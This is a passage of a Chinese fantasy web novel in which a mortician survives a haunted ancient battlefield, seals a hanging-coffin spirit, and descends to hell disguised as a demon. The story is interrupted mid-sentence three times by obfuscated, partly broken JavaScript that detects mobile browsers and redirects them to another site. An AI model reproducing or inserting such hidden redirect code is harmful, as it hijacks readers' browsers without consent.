他到底是荣耀加身者,还是永世被镇压的囚徒? 当真奇哉怪也。 不知不觉间,秦轻已经走到堆叠如山的棺材前,这里的死者数以万计,为何有的抛尸荒野,有的就能棺木容身? 职业病犯了的秦轻,不由得俯身观察离她最近的几具尸骸,这具男尸竟然还有脸皮,双眼暴突、舌头伸出、表情狰狞,脖子处的刀伤是致命伤,伤口极深,颈骨已经断裂,仅靠一层颈皮相连。 瞧那切口,干净利落,一刀毙命,可想而知凶手的力道有多猛烈。 只看脸部,死亡时间不超过一周,但从肩部开始,皮肉组织越来越少,骨化的部分越来越多,若是只从脚骨判断,死亡时间绝对超过五年。 秦轻的目光最后落在死者腰间的挂坠上,这种工艺,如果她没记错,似乎战国以后就失传了吧? 她逐渐变得面无表情起来,感觉自己之前的尸体鉴定,宛若一个大傻子一样。 这就是个灵异秘籍,不能用科学常理来推定。如此默念几遍,她的心情才舒坦一些。 直起腰来,拍了拍裤腿,她打算离开这个鬼地方。 “慕容断?” 她尝试呼喊另一人的名字,却惊愕地发现这里居然连回音都没有! 这要怎么离开? “慕容断!” 她又喊了一声,回应她的只有死一般的寂静! 由于心焦,她不小心踩到一根断裂的树枝,可没想到那节树枝竟然这么硬,直接划破了她的脚踝! 一时间,疼痛袭来,血液流出。 秦轻用袖摆擦拭伤口,顷刻间,雪白的布料落下一道鲜红的痕迹。 她捏了捏眉心,就在她以为得在这耗上许多时间,甚至极可能搭上性命之时,异变陡生! 起初是大地震动,白骨起落,她大吃一惊,睁大乌黑的眼睛,心想:秘境还有地震? 紧接着夜幕摇晃,巨木上的人脸齐齐扭曲,发出刺耳的尖叫! 伴随着这声惊叫,寂静如死的滤镜一瞬间褪去,取而代之的是,血腥至极的捕猎狂欢! 终于有声音了!可秦轻没法高兴,因为从棺材里爬出的死者,以及本就散布旷野的尸体,还有巨木上数不清的人脸,它们围猎的目标都是自己! 她成了那个猎物! 【你就是无限游戏里,一块行走的唐僧肉!注定活不过黎明!】 彼时,那行血红的预言大字,闪过她的脑海! 逃!一定要逃! 快!速度一定要快! 在不断震动的大地上,步履踉跄地向前奔跑!跑在荒芜的旷野之上,脚尖不时被散落一地的古代兵器绊到,还有难以用科学解释的摧枯拉朽的痕迹! 直到此时,她才意识到这里不仅是一座远古坟场,还是一个上古时期的战场! 埋葬于此的亡者,不计其数,而现在,它们都成了追逐她的猎手! 最崩溃的是,待这些亡者活动起来,才发现不止有人类,更有早已化为枯骨的异兽,正常来说,人很难跑过兽,可那些异兽大约很难适应完全白骨化的身躯,速度一时落了下乘! 因为极速的狂奔,心脏快要超出负荷,秦轻的头部逐渐缺氧,呼吸急促,眼前一阵阵的发黑,但疯狂燃烧的血液,反倒让那群猎手愈发兴奋! 身后的尖啸、碰撞,愈演愈烈! 双方的距离不断缩短,秦轻从没觉得自己离死亡如此近过,虽然她作为一名殡葬师,日常和尸体打交道,也知晓自己迟早会死,可当这一刻真的来临,她无法从容应对,只觉得满心的不甘! “我绝不可能站着等死,有本事你们就追到我,届时要杀要剐,我认了!” 秦轻低声呢喃,眸色深处像是燃起了一把大火,她已做好殊死一搏的准备,天赋技能二的召唤图卷和封印笔,握在手心。 当图卷和笔出现在她手中的刹那,使用方法也随之出现在脑海,封印的对象只能是灵体,封印的方法有以下几种,要么用封印笔写上灵体的名字,要么画出灵体的形象,要么将笔刺入灵体的核心部位,均可进行封印。 待灵体封印后,便放入召唤图卷,必要时可以召唤灵体作战。 这不就是召唤师吗? 【请注意!当前封印等级为菜鸟级,只可封印灵魂体量小于100的灵体!】 100? 100是多少?秦轻完全没概念,可当她拿起封印笔的一刻,转身回望追赶她的猎手大军,每一个“猎手”的头顶上方,竟然自动浮现灵魂体量。 放眼望去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111974|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全是一万以上!有的甚至达到了十万、百万! 这还怎么封?没一个能封的!封印技能宛若鸡肋! 秦轻咬紧嘴唇,神情难掩失望,她暂且收了召唤图卷,只留下封印笔,毕竟它足有一尺长,完全可以作为武器。 想到自己还有第三个天赋技能,她赶紧点击使用,第三个是殡葬师技能,一旦使用,她就可以从系统背包里调出属于殡葬师的一切工具。 解剖刀、缝合线等,均可作用于灵魂和□□。 手持解剖刀,腕上缠着缝合线,有这两样熟悉的工具作伴,秦轻忽然觉得自己多了无穷的勇气,来和异世界的这些诡异战到底! 当身后一具骷髅的指骨即将触碰自己的时候,秦轻反手给了它一刀,轻而易举地削掉它的腕骨。 【攻击生效!灵魂体量减50!】 一次攻击才减50?秦轻算了算,若是一个初始灵魂体量是10000的灵体,至少得攻击200次才能让它灰飞烟灭! 尽管情势危急,但让秦轻坐以待毙,是不可能的! 她本想着拼尽全力后,若是难逃一死,她就认了,任由它们处置,可现在她改了主意,若真是死劫将至,她宁可自绝,也绝不让血肉被诡异染指! 决心已下,她开始寻找着自己的埋骨之地,一个能让自己保留全尸的地方。 电光火石间,她想到了那口悬棺! 直到现在,那口悬棺都毫无动静,也许说明悬棺之主对自己的血肉毫无兴趣? 也有可能,那口悬棺里并无死者,如同衣冠冢一般? 可是,悬棺就在身后,与她现在的行进轨迹完全相反,那群穷凶极恶的猎手,就处于她和悬棺之间,她若是此刻调转方向,和羊入虎口有何区别? 一切就像是进了死胡同,好像无论怎么挣扎,她都得成为它们吞吃入腹的猎物。 不甘心!真的好不甘心啊! 情绪的剧烈起伏,使她的脚步逐渐不稳,体力的不断流失,让她很快就被身后的白骨异兽扑倒在地! 在后背砰的一下,碰触阴冷地面的刹那! 完了!秦轻的脑海里飘出四个大字:吾命休矣! 她眼皮轻颤,缓缓闭上双眼,不忍看自己被吃掉的画面,就在视野即将彻底变黑的一刻,冲天的血色,拔地而起! 血红的锁链发出哀鸣,它们快要困不住悬棺里的灵体! 咔嚓,随着第一条锁链的断裂,极强的威压铺满整片天地,所有追逐秦轻的尸体、骷髅、异兽全都匍匐于地,恐惧地瑟瑟发抖。 有的骨头甚至因为趴伏太过,一下子断成几截,彻底散架。 扑倒秦轻的异兽,浑身呈齑粉状散裂,短短几息,化为乌有。 秦轻刚劫后余生般地轻喘一口气,紧接着就觉得脖颈一痛,颈动脉的血液,随着吸食者的力道,不断地从啃咬的伤口处流出,流进对方的喉咙。 “你……好……香。” 隐约间,她似乎听见了破碎的气音。 6. 封印 “你……真……香……” 破碎的语调伴随着喉管嗬嗬的声响,再次于秦轻的耳畔响起。 如此撕裂的声音,就像是声带被硬生生割断一般,体内血液的流逝,让她的意识逐渐迷失,颈侧的吮吸声不停,听那啧啧的响动,就能知道吸血者对她这个食物有多满意。 悬棺之主正疯狂渴求着她的血肉! 直到此刻,秦轻才意识到不是悬棺之主对自己这块唐僧肉不感兴趣,而是冲破封印需要时间。 她悄然握紧手里的解剖刀,挣脱的机会只有一刹!趁着悬棺之主从颈侧啃咬到正面的瞬间,秦轻挥出解剖刀,职业习惯让她以闪电般的速度,从悬棺之主的右耳后侧开始,切至锁骨、胸骨、肚脐眼! 一个大写的Y字,完成! 锋利的刀锋割开皮肉,肋骨剪紧随而上,打开胸腔,取出胸骨,可是令秦轻震惊的是,本该安放心脏的位置,竟然空空如也! 不仅如此,悬棺之主居然没有任何内脏,脾脏、肾脏、肠、胃……什么都没有! 他之所以能发声,似乎是将灵气化舌。 就实体而言,只空留千疮百孔的皮囊,和极端脆弱的骨骼。 秦轻觉得自己根本就没使什么力,整块胸骨就被取出,而且骨头上竟然出现了缝隙。 这是多么的易碎啊! 她的脑海划过悬棺之主的脸庞,就如同一尊狠狠碎裂过,又勉强拼凑起来的泥塑,如果不是碎纹极多,大概也是个长相极俊的少年吧! 是的,悬棺之主的骨龄并不大,约莫二十上下。 可这是个玄幻世界,或许悬棺之主赴死之时,已有数千岁了也说不定。 少年皮相的嘴角沾着鲜血,还有些许的肉沫,秦轻一看这个,就知道自己的脖颈眼下有多惨不忍睹,气愤的她,不禁举起解剖刀,想再切他两下! 谁知少年竟飞快地扭过脖子,藏起了脸,身体却未动分毫,这举动分明在说“别切脸,其它随意”,秦轻一怔,没想到悬棺之主如此在意容貌。 想想也是,悬棺之主只有骨骼完好,通身的皮囊都是拼凑而来,但唯有脸部的皮囊,拼凑的最为完整,而且裂缝都已经控制到最细微的地步。 他为何独独在意脸,是因为本性如此,还是想让某人认出他呢? 不过,她真的没想到制服悬棺之主会这般容易,看少年被切开胸腔,倒在地上,似乎并无攻击的意图。 手里的解剖刀,下意识地松了松,可就在这时,胸骨裸露在外的少年暴起,饿狼扑食似的再次扑倒秦轻,对着她的脖子就咬下去! 秦轻悔恨自己一时心软,对待这种诡异就该斩草除根才是! 她不再留手,解剖刀直插他的喉咙,将脑壳捅了个对穿! 这还不算,她又对着胸腔和腹腔的位置,连刺十几刀,极端的恐惧让她的手不停地颤抖,可是她不能停! 因为悬棺之主不死,那么死的就是她! 也不知过了多久,久到秦轻的身体都麻木了,思维也陷入僵滞,忽然腰间别着的封印笔无端发烫,那热度将秦轻的心从深渊带回。 她下意识地拿起封印笔,悬棺之主的头顶瞬间浮现出两行小字: 【灵魂体量90,可封印】 【由于玩家有效攻击次数太多,当前灵魂体量归零,灵体已消亡,无法封印】 盯着“已消亡”三字,秦轻猛的怔住,悬棺之主……死了? 那个啃食自己血肉、被封印万年的悬棺之主,就这么轻而易举地死了? 秦轻感到难以置信,可系统的提示不会骗人,由不得她不信。 谁能想到灵力那般磅礴、威压如此恐怖的悬棺之主,灵魂体量居然少的可怜? “灵魂已消亡,就无法封印了吗?” 秦轻在心里轻声询问系统。 【是的,因为玩家让灵体致死的武器,并不具备封印功能】 秦轻难免觉得可惜,甚至有些怅然若失,她看着倒在地上,尸骨碎裂一地的少年,默默拿出缝合线和化妆箱,准备帮他处理一下,让他看上去不那么难看。 只是线刚穿过他颈部的皮囊,碎裂一地的尸骨忽然抖动一下,顷刻间拼合在一处。 悬棺之主复活了! 秦轻在极短的时间意识到这点,简直头皮发麻,她顾不得旁的,几乎是应激反应似的,一手举着解剖刀,一手握着封印笔,直直地朝刚复活的诡异刺去! “嗬!”悬棺之主喉咙发出道道气音,愤怒地挥舞四肢朝秦轻扑去。 秦轻杀红了眼,也不防守,只一味的攻击! 她能杀了他一次,就一定能杀他第二次! 终于,悬棺之主不动了! 他死了!再一次死了! 秦轻急促地喘着气,心脏飞快地跳个不停,她紧紧地盯着地上那具尸体。 【恭喜玩家,悬棺之主已被你封印】 【点击查看悬棺之主信息】 【召唤方法:你可从召唤图卷里,召唤他】 秦轻瘫坐于地,累的连手指都抬不起来了,不过等稍微恢复一点力气后,她毫不犹豫地点开查看。 【悬棺之主】 【真名:不详】 【年龄:不详】 【死因:不详】 【战力值:???】 【特点:不死】 【技能:不详】 总感觉看了个寂寞,这说了就跟没说似的,刚准备叉掉系统面板的秦轻,忽然注意到最后一行小字,视线不禁凝滞。 【对玩家的影响:恭喜,由于悬棺之主对你血肉的独占欲,你“唐僧肉”的属性被掩盖,唯有战力高于悬棺之主,方能看穿,他被你杀了两次,已对你恨之入骨,不仅立誓吞食你的血肉,更要咀嚼你的灵魂,除了他,别的一切休想染指】 游戏预言书对秦轻的预言,似乎也因此改变【你不再是游戏里一块行走的唐僧肉,可是被悬棺之主盯上,你注定要成为他重生的养分(建议:干脆点,以身饲鬼得了!)】 以身饲鬼?不,绝不! 她只会和他斗到底! “轰隆!轰隆隆!”忽然,天地开始崩塌,秦轻只觉得身下一空,反应极快的她就势一滚,勉强躲过了坠落的风险。 但随着崩塌的位置越来越多,她迟早撑不住。 没了悬棺之主的威压,数以万计的尸体骸骨再次活动,可由于秦轻唐僧肉的属性被遮掩,它们失去了围猎的目标,在不断的天塌地陷里,掉落深渊。 难道她也要葬身于此?将解剖刀深插地面,借此支撑身体的秦轻,难掩心里的悲凉。 “我的老天爷!这是怎么了?怎么忽然就塌了?阿轻,你到底对这处秘境做了什么?” 就在这时,不远处的虚空撕开一道缝隙,慕容断的惊叫从那里传来:“算了,反正已经完蛋,我还是先把你弄出来再说!” 伴随着一阵繁复的咒语,秦轻只觉得意识一沉,再睁开眼时,又回到了金光万丈的天堂云端。 “呼……”秦轻嗅闻着空气里的蛋糕甜香,不禁长舒一口气。 劫后余生的感觉可真好。 慕容断却是愁的头发都快拽秃了:“阿轻,到底怎么回事,五分钟前,天师公会震怒,连发百条悬赏令!你这金发白袍的形象都被留影石记录下来,传遍诸神论坛!唯一值得庆幸的是,影像很模糊,大概受到秘境灵力波动的影响。” 秦轻凑过去,看了眼慕容断腕部的终端,确实不太清晰。 “我的悬赏金是多少?” 她特别好奇数额,至于金发白袍,反正是天使装扮,应该不容易查到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111975|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “一千条灵脉!你居然还有闲心关心金额?”慕容断瞪圆了双眼,恨铁不成钢地说:“你这次可是捅了大篓子,天师全行业公敌,人人得而诛之,你都不害怕的?” “害怕有用么?” 秦轻睁着一双乌溜溜的眼睛,淡淡反问道。 “你先告诉我,到底做了什么!我想想看有没有方法补救,你要知道天师若真想追杀一人,八卦寻踪、奇门遁甲,有的是方法!” 慕容断焦虑地来回走动:“而且你进过秘境,保不齐灵魂上就已经烙下了什么专属印记,或许再过片刻,就有天级天师追杀而来,到时我可保不住你。” 灵魂印记,秦轻默念这几个字,可心里却不觉得害怕,因为她想起悬棺之主影响里的那行小字。 占有欲极强的悬棺之主,又怎会允许她的灵魂烙上他人的印记。 “真是皇帝不急,急死太监。”慕容断看着秦轻面不改色,恍若初生牛犊不怕虎的模样,就一阵阵的无语。 “好吧,我告诉你,我毁了悬棺,还将里面的诡异封印了。” 秦轻轻描淡写、平铺直叙地说着这些,连语调都没怎么起伏。 可慕容断却是狠狠地倒抽一口凉气:“你封了远古时期的天师之祖?这跟挖人祖坟有何区别!如此血海深仇可没法解,你只能作为天师公敌活下去。” “如果我把他还回去……”秦轻试探着开口。 “那也没用!天师公会很多年前就放话出去,谁动了老祖宗一根头发丝,都是与全行业为敌!更别说你已经独占了整个老祖宗!” 慕容断极度崩溃过后,反而能够冷静地思考问题:“既然做都做了,还不如做到底,你跟老祖宗是有缘的,要知道过往诸神派了多少卧底、间谍,想要把悬棺弄出秘境,都无疾而终,甚至真神亲自降临都不行,可偏偏你做到了,这是你的大造化,也是你的大机缘,你该想想如何将老祖宗的力量利用起来。” 慕容断骨子里,就有股疯狂的赌徒气质,如果在他面前设置两个选项,长活百岁,和轰轰烈烈地活几分钟,他宁可选择后者! 或许,这就是另类的“朝闻道,夕死可矣”。 秦轻觉得慕容断的想法与她不谋而合,从某种角度来说,他们是同类人。 只是大机缘?应该是大孽缘才对吧! 远古时代的天师之祖,可一心想要“吃”了她! 从肉到灵的那种! “好了,时间耽误太久,我们必须立即假扮恶魔,前去赴宴!” 慕容断从乾坤袋里取出神主专门为二人准备的恶魔犄角、骨翼,鞭子似的尾巴,放到一旁,再将秦轻头顶的光圈、背后的翅膀摘下,往乾坤袋一丢。 在给秦轻戴犄角的时候,慕容断的鼻尖耸了耸,奇怪地嘀咕一句:“你好像闻起来不好吃了,难道进个坟场就这么有效?但你身上也没尸味啊。” 终于,在改变发色,用殡葬师的化妆箱化完妆后,秦轻的恶魔装扮出炉,蜷曲的黑密长发,浓烈的泛着死气的烟熏妆,修长的脖颈上缠着黑色绷带,诱惑十足的低胸露背装,下身围着漆黑皮裙,脚踩骨骼制成的高跟鞋。 最重要的是,她浑身上下都缀满了晶莹透亮的宝石!满满的暴发户气质! 小巧的肚脐处,坠着一枚黑曜石,其上烙印着贪婪之罪的魔王符号,表明她是玛门麾下的恶魔。 奥丁的忠实信徒、天堂的守护天使、玛门麾下的恶魔战士,以及无限游戏诸神时代的玩家、天师公会的公敌! 她已经有多少个身份了? 唯一值得庆幸的是,等副本结束,她至少就能丢掉三个身份,这样想想,日子还是挺有盼头! 【大错特错!】 【望玩家尽早认清现实,舍弃一切不切实际的幻想,本游戏所有副本,完全贯通】 7. 副本一 什么?!系统消息不亚于晴天霹雳! 秦轻呆立当场!也就是说,她在往后的任何一个副本中都得作为多重卧底的身份活下去? “阿轻,你看,这枚宝石可以随时帮你改头换面,伪装成七大魔王麾下的恶魔,听说它是神主专门让侏儒里最富盛名的锻造师打造的,一共就两枚,你一枚我一枚。” 慕容断指着秦轻肚脐处的宝石,悄声说道,随后将切换伪装的咒语告知秦轻。 秦轻默记于心,忽然开口问他:“我封印了天师之祖的事,你不告诉神主?” 慕容断以指抵唇,嘘了一声,朝秦轻安抚似的眨了眨眼:“每个人都有自己的小秘密,也不是什么事都要告诉神主的啊。” 秦轻状似明白地点了点头,实则对慕容断奥丁信徒的身份产生怀疑,保不齐这位也是个套娃间谍呢。 她拿出封印笔,慕容断的头顶瞬间浮现【灵魂体量10000,不可封印】的字样。 为什么悬棺之主的灵魂体量那么少? “或许因为他是残魂吧,魂魄本就残缺不全?”慕容断的回答,让秦轻后知后觉地意识到自己刚刚竟然将心里的疑惑问了出来。 “你怎么会知道灵魂体量这四个字?”秦轻不禁发出质疑。 “我为什么不知道?早就有天师专门研究过。”慕容断摊开双手,作出天平的姿势: “正常来说,同类之间的灵魂体量都是差不多的。比如凡人和凡人、异能者和异能者、神灵和神灵,就算有所差异,那也必定是在一个区间范围内,不至于相差太多,而且灵魂体量的上限无法更改,如果一个人的灵魂没有受损,他的灵魂体量必定就是上限的数值。” 秦轻听完,若有所思,如果是慕容断说的那样,那么悬棺之主的灵魂就严重受损过,且至今都没恢复。 “灵魂上的伤是很难治愈的。”慕容断幽幽的叹息一声:“所以,灵魂很重要,若是有人掌握了灵魂秘术,甚至可以屠神。” 这话一说,秦轻感到一阵的心惊肉跳,因为大脑里忽然闪现出一个很疯狂的想法,那就是切割神灵的灵魂,再将被切割的灵魂封印的话,她是不是就能调动神灵的部分力量? 想象是美好的,但实践起来,难度极高,试想一位高高在上的神灵,又怎会乖乖地任由蝼蚁切割祂的魂魄? 可心里的狂放猜想,还是叫她热血沸腾,急于想找人实验一下。 慕容断? 秦轻犹豫了片刻,还是放弃拿他当试验品的打算,毕竟二人目前是队友,总觉得这么做不地道。 等慕容断也换完装后,秦轻不由得憋笑,因为他竟然是一副青面獠牙、身着皮裙的打扮。 “走吧,该出发了。” 慕容断拨开前方的云雾,指了指云层之下,等她先行,可没想到一扭头,秦轻却不明所以地望着他。 “你在犹豫什么?该不会是恐高吧?”慕容断张大嘴巴,发出难以置信的怪叫。 “不是,我只是不知道怎么出发。” 秦轻一脸懵逼地盯着他。 “我真是服了你了,路西法当年是怎么从天堂到地狱的?” 秦轻想了想:“从云端坠落?” “对啊!所以,干脆利落地跳下去,就是了!地狱就在下方,现在大地引力变强,我们不需要多少个昼夜,但一个时辰还是需要的,好吧,走你!” 慕容断说着,就伸出双手,将秦轻推了下去。 “哇!!!” 猛烈的失重,让秦轻不由自主地发出惊呼!这比坐过山车可要刺激的多! 自由落体时,人可没法控制自己的姿势,但她现在是恶魔,看见慕容断拍动骨翼,维持身体的平衡,她便也有样学样。 穿过无数的云层后,天堂的金光逐渐远离,取而代之的是漆黑如墨的暗夜。 原来现在的时间是夜晚啊! 视线忽然从明到暗,秦轻不适地闭了闭眼,等再睁开时,被四周天边的异象震撼到失语! 只见遥远的天边,盘旋着一圈圈的红云,那红云的中心是一枚竖立的巨大眼睛,诡异的眼球不停的乱动,就像在诅咒着尘世的一切。 巨眼旁边则是北欧世界树的庞大虚影,依稀能窥见树根下伺机而动的毒蛇,虚影中部隐现着七彩的虹光。 世界树的对面则是三位赤裸上身、多头多臂的神灵幻象,斜侧面则是一座高耸的山脉,其上神殿林立,不时有雷声电光降下。 除此之外,还有太多太多标志性的异象,只是有的异象极大,有的却很小。 “这些异象,象征着各路神灵地盘的大小、信徒的多寡,呵,从头到尾就是一场诸神的游戏。” 从慕容断的声音里,秦轻听出了几分戏谑之意,她对这个异世界了解的实在太少,甚至连此世界的论坛都没看过。 想到这里,她打开腕部的终端,点击诸神论坛开始浏览。 诸神论坛置顶的消息,无疑就是天师公会连刷百条的巨额悬赏,多少回复都发誓“即便为了用之不尽的灵脉,也要找到她!” 诸神论坛版块的旁边,还有一个字迹很小的玩家论坛,副标题是“仅供游戏玩家使用”。 秦轻挑了挑眉,点开一看,置顶的帖子是:想知道无限游戏“诸神时代”究竟是什么吗?不怕三观崩塌你就来! 她点了进去,主帖内容是:为证明所言非虚,楼主先自曝身份,我是被“诸神时代”选中的第一批内测玩家,我的初始身份是撒旦的信徒,我为了地狱提高战力,开疆拓土,经历了多个S级副本的洗礼,几乎九死一生。可是在又一个S级副本的攻城战役里,撒旦的信徒输掉,于是连我在内都被撒旦舍弃,信徒一旦被弃,就活不长了。 我的生命即将走到尽头,却也终于窥见了一点真相,无限游戏“诸神时代”就是诸神与诸神之间的战场,所有的信徒都是祂们手里的棋子,赢则生,输则死,直到诸神之间分出最终的胜负。 至于诸神为何不真身降临,本尊下场,而是依靠信徒南征北战,我猜测,或许是畏惧“诸神黄昏”吧。 下面的回帖数高达数百万! 1L:细思极恐!所以“诸神时代”游戏的幕后boss就是诸神咯? 9L:诸神分出最终的胜负前,我们都回不了家了吗? 100L:系统消息:考虑到各位玩家思乡心切,本游戏将逐渐开启返乡功能,届时玩家可在家乡和本游戏世界来回穿梭,敬请期待。 101L:好哎!终于可以回家啦!但是我怎么隐隐不安。 200L:诸神时代开放返乡功能,用心险恶!坚决抵制!它是想把现实世界全都拉入无限游戏里! 再往后的回复,几乎全都是“坚决抵制”。 1000L:我们宁可一辈子困死在这儿!也不愿家人朋友步我们的后尘! 秦轻大致翻了翻,心里有了成算,换句话说,要想保命,或许只有两条路,要么不做任何神灵的信徒,要么成为一个必胜神灵的信徒。 只是后者的难度未免太高。 根据帖子及回复,秦轻明白了,每一个副本,神灵都不会真身降临,最多也就是分身下场,所使用的神力十分有限。 二来,当神灵失去了祂的所有信徒,祂就会陷入永眠,相当于死亡。 秦轻关闭终端,闭目沉思,玩家论坛有说,玩家可以通过附近聊天频道,发现附近的玩家,但如果玩家不想被发现,可以选择“隐藏玩家身份”。 在发现这一点后,秦轻毫不犹豫地就选择了隐藏,毕竟她现在可是一个多重身份的卧底! 还是低调再低调,努力做个透明人才好。 不断地坠落,秦轻已经完全适应了这种失重的状态,现在她反而担心等双脚重新踏上平地后,她能否适应,而不是啪的一下瘫倒在地。 她侧眸瞥了慕容断一眼,那厮竟然睡着了,都打起了小呼噜。 看着同伴酣睡的模样,她也觉得困意上涌,只是刚闭上双眼,忽然坠落的趋势一顿,不仅顿住,还有上抛的迹象。 感觉有点像蹦床! 她倏然睁眼,往下一望,不知何时,一张宽阔的蛛网出现在二人的下方,蛛网的粘液,将他们的双腿牢牢地粘贴,无法逃脱。 慕容断惊醒过来:“怎么回事?是谁做的!” 张望四周,他们此刻停下的位置在一座山顶之上,一个身着灰袍的堕天使,正笑眯眯地看着二人: “别紧张,我没有其他意思,拦住二位的去路,只是想先劫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111976|164112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 财再劫色罢了。” 他的语气颇为云淡风轻,就像谈论今天的天气如何,但秦轻和慕容断纷纷汗颜,心道: 这年头,劫财再劫色,难道是什么小事吗? 慕容断仔细瞧他的打扮,心里忽然划过一个天使名:“莫非你就是被耶和华赶走的沙利叶吗?” “什么被赶走!我是主动离开的,好不好!” 慕容断的一番话,好死不死地戳在沙利叶的心头,他当即大声反驳:“我是谁!我可是曾经多次被评为天堂优秀员工奖!祂上帝算个啥,也配驱赶我?” 沙利叶一阵不甘的叫嚣后,才拿正眼看向慕容断,可是这不看还好,一看就忍不住要吐了:“你怎么长的这么丑?你和这位恶魔小姐,是在扮演美女和野兽吗?” “该死!长这么丑,我都没心情诱导他堕落了!” 众所周知,天堂前优秀员工沙利叶堕落后,不仅在某座山顶娶了人类女子为妻,还以诱导男性堕落为乐。 可是眼下这份乐趣,因为这个长相极丑的恶魔大打折扣! 沙利叶洗眼睛似的,扭头看向秦轻,恨恨地说:“你为何不是男性!快!把身上所有值钱的东西全都交出来!” 秦轻嘴角轻抽,还是将身上佩戴的宝石,一股脑地全扔过去:“麻烦你快些,我们还要去赴暴食魔王的食人盛宴。” 沙利叶闻言,捡宝石的动作一顿:“你们要去暴食的宫殿?带我一个呗,只要你们同意,我就不抢劫你们。” “只是不抢劫?这样可不行。”秦轻看着眼前的堕落天使,忽然想测试一下灵魂先切割后封印的可行性。 “那你想如何?”沙利叶瞪着一双大眼,狠狠地瞅她! “除非你能把体量约莫100的灵魂给我。” 秦轻把玩着发稍,语气轻松地提出她的条件。 “你要灵魂?真不愧是恶魔,不过你倒没那么贪得无厌,行吧,我同意了。”反正100的灵魂体量而已,对他不痛不痒,他也不指望重返天国,因此灵魂怎样都无所谓,只要有命在就行。 最重要的是,眼前的女性恶魔很弱,即便拿走了他的微量灵魂,也构不成什么威胁。 沙利叶如此爽快的答应,某种程度上,也足以窥见他对此番地狱之行的势在必得。 秦轻明白,他一定有什么目的,非达成不可。 但沙利叶的目的与她无关,她只要他100体量的灵魂! 解剖刀出鞘,对着沙利叶的指端轻轻一挥,少量血液流出的同时,100体量的灵魂也随之切割! 封印笔在手,毫不犹豫地对着被切割的灵魂戳刺下去。 【当前灵体(部分)灵魂体量约莫100,可封印】 【点击查看被封印灵体——沙利叶(部分)信息】 【恭喜玩家,召唤图卷又多一员】 她立即查看了沙利叶的信息,只是重点放在了他对自己的影响一栏上:【沙利叶是一名学识丰富、能言善辩,语言极具诱惑性的堕天使,由于灵魂体量过少,只能赋予你语言欺骗的能力,且成功率不足5%】 原来是骗人的能力啊,有用是有用,但成功率过低,风险极大,只能慎用。 秦轻翻开召唤图卷,只见第一页上印着栩栩如生的悬棺之主,可第二页上只有沙利叶的一截手指。 那截手指就是被切割下的灵魂部位。 或许随着她封印等级的提高,就可以封印更多体量的灵魂。 “小沙,既然你与我们同行,那咱们就算是队友了,你是不是该透露一下去地狱的目的,到时真发生什么事,咱们也好彼此有个照应。” 等沙利叶将大网撤下,慕容断刚挣脱出来,就哥两好的与沙利叶勾肩搭背。 “你能不能别叫我小沙?” 沙利叶翻了个白眼,他长的本就俊朗,白眼一翻,也不失风采。 “那大沙?” 慕容断立即笑眯眯的改口,只是大沙,听着特别像大傻,沙利叶拳头硬了,只想狂揍他。 “哎,君子动口不动手,而且时间就快来不及了。” 来的时候,只有秦轻和慕容断从云端坠下,现在于中途,多了一个沙利叶。 “快看!下方就是地狱的入口!” 8. 副本一 秦轻睁眼望去,地狱入口什么的,没瞧见,倒是瞧见一架私人飞艇,座驾的窗口正对着他们,里面坐了两个珠光宝气,表情却瞠目结舌的恶魔。 依稀间,还能听见座驾内传来的大惊小怪的声音: “亲爱的,你看啊,这都什么时代了!居然还有人用这么古旧的方法来地狱呀!” “他们都是大傻子么?明明乘坐飞行器就能到达,你猜他们在空中坠落了多久?我猜至少一个时辰吧,吹了那么久的冷风,也不怕得个老寒腿么!” “别管他们了,还是品尝刚用天使血液做成的香槟吧。” 言罢,那两个恶魔举起酒杯,对碰了一下,“cheers!”随后仰头,一饮而尽。 “慕、容、断!”秦轻的拳头也硬了,她近乎咬牙切齿地说:“有飞行器,你为何不提醒?” 慕容断懵了,他摸了摸后脑勺,讪讪地笑了笑:“我忘了,而且,你知道飞行器坐一下有多贵吗!就当是省钱了!” 秦轻汗颜,继而眼珠一转:“省钱好啊,那你记得请我吃大餐,不然这事没完!” “行吧……”慕容断答应的很是勉强,可以想见平时也是个抠门的小气鬼。 “你别打着先答应下来之后再含混过去的小算盘啊,对吃,我一向是再认真不过,我会一直盯着你,直到你兑现为止。” 秦轻面色严肃、表情认真地说着,忽然,一阵热浪自地底袭来,三人的脸庞都映出了通红的火光。 秦轻低头看去,没了私人飞艇的遮挡,整个地狱俯瞰在眼前。 “我去!十几年没来,地狱已经变得如此高科技了吗!” 沙利叶一手捂着头顶遮掩光环的帽子,防止被风吹翻,口中则发出啧啧的赞叹! 